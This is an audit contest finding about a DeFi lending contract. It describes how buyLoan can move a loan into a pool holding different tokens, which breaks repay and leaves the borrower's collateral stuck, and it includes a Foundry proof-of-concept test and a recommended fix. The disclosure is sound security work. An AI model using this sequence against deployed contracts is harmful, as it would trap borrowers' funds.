20,000 USDC
View results
Submission Details
Severity: high
Valid

Collateral token will be stuck when buying loan with different collateral

Summary

When calling buyLoan it is not checking the pool which contains the collateral token that matches the loan token collateral. This can cause damage since the code is assuming that the loan collateral token is equal to the pool collateral token so it is not updating it. So when repaying the function repay has this code:

bytes32 poolId = getPoolId(
loan.lender,
loan.loanToken,
loan.collateralToken
);

but since the loan.collateralToken of the pool now is different than the loan token which has not been updated it will cause the poolId is not found.

Vulnerability Details

Example:
Assume we have a lender called Bob with Alice as a borrower, the loan has loanToken as TOKEN_1 and collateralToken as TOKEN_2, at this point the pool Id looks something similar to keccak256(abi.encode(Bob's address, TOKEN_1, TOKEN_2)). For whatever reason, Bob decides to "startAuction" on Alice's loan. The auction will allow anyone with "a pool with tokens" to buy this loan. Now, we have a new lender called Charlie with a pool with TOKEN_3 as loanToken and TOKEN_4 as collateralToken. Charlie wants to buy Alice's loan, so he will call buyLoan, buyLoan function doesn't validate if the tokens are matched, this will allow Alice's loan to be moved to a pool that has different tokens than the original loan, which for now is bypassing the validation of the tokens. Now, Alice's loan belongs to a pool of pool Id of keccak256(abi.encode(Charlie's address, TOKEN_1, TOKEN_2)), which technically doesn't exist in pools mapping. Now when "poor" Alice wants to repay her loan she will call it repay, but this will fail on every instance of pools[poolId] because poolId doesn't exist in pools mapping, according to what's said before. Now the loan is messed up, Alice can't repay her loan, and her collateral is stuck in the "imaginary" pool. This is a straightforward example, but it can be used to create a more complex attack.

Test POC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract LenderTest is Test {
Lender public lender;
TERC20 public loanToken;
TERC20 public collateralToken;
TERC20 public anotherLoanToken;
TERC20 public anotherCollateralToken;
address public lender1 = address(0x1);
address public lender2 = address(0x2);
address public borrower = address(0x3);
address public fees = address(0x4);
function setUp() public {
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(lender1), 100000 * 10 ** 18);
loanToken.mint(address(lender2), 100000 * 10 ** 18);
collateralToken.mint(address(borrower), 100000 * 10 ** 18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000 * 10 ** 18);
collateralToken.approve(address(lender), 1000000 * 10 ** 18);
anotherLoanToken = new TERC20();
anotherCollateralToken = new TERC20();
anotherLoanToken.mint(address(lender1), 100000 * 10 ** 18);
anotherLoanToken.mint(address(lender2), 100000 * 10 ** 18);
anotherCollateralToken.mint(address(borrower), 100000 * 10 ** 18);
vm.startPrank(lender1);
anotherLoanToken.approve(address(lender), 1000000 * 10 ** 18);
anotherCollateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(lender2);
anotherLoanToken.approve(address(lender), 1000000 * 10 ** 18);
anotherCollateralToken.approve(address(lender), 1000000 * 10 ** 18);
vm.startPrank(borrower);
anotherLoanToken.approve(address(lender), 1000000 * 10 ** 18);
anotherCollateralToken.approve(address(lender), 1000000 * 10 ** 18);
}
function borrow() public {
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
(, , , , uint256 poolBalance, , , , ) = lender.pools(poolId);
assertEq(poolBalance, 1000 * 10 ** 18);
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100 * 10 ** 18,
collateral: 100 * 10 ** 18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
assertEq(loanToken.balanceOf(address(borrower)), 995 * 10 ** 17);
assertEq(collateralToken.balanceOf(address(lender)), 100 * 10 ** 18);
(, , , , poolBalance, , , , ) = lender.pools(poolId);
assertEq(poolBalance, 900 * 10 ** 18);
}
function test_poc() public {
borrow();
// accrue interest
vm.warp(block.timestamp + 364 days + 12 hours);
// kick off auction
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.startPrank(lender2);
Pool memory p = Pool({
lender: lender2,
// Replace anotherLoanToken with loanToken and anotherCollateralToken with collateralToken, and the test will pass
loanToken: address(anotherLoanToken),
collateralToken: address(anotherCollateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
// warp to middle of auction
vm.warp(block.timestamp + 12 hours);
lender.buyLoan(0, poolId);
// assert that we paid the interest and new loan is in our name
assertEq(lender.getLoanDebt(0), 110 * 10 ** 18);
// borrower tries to repay loan but will throw error because the pool is messed up
vm.startPrank(borrower);
loanToken.mint(address(borrower), 100000 * 10 ** 18);
anotherLoanToken.mint(address(borrower), 100000 * 10 ** 18);
lender.repay(loanIds);
}
}

Impact

Pool will not be found causing the collateral token to be stuck. So if a user buy loan and then the borrower decided to repay he will not be able and the attacker can force to get the borrower collateral.

Tools Used

Manual Review

Recommendations

Check that the collateral/loan tokens of the pool that is buying the Loan is equal to the loan's.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.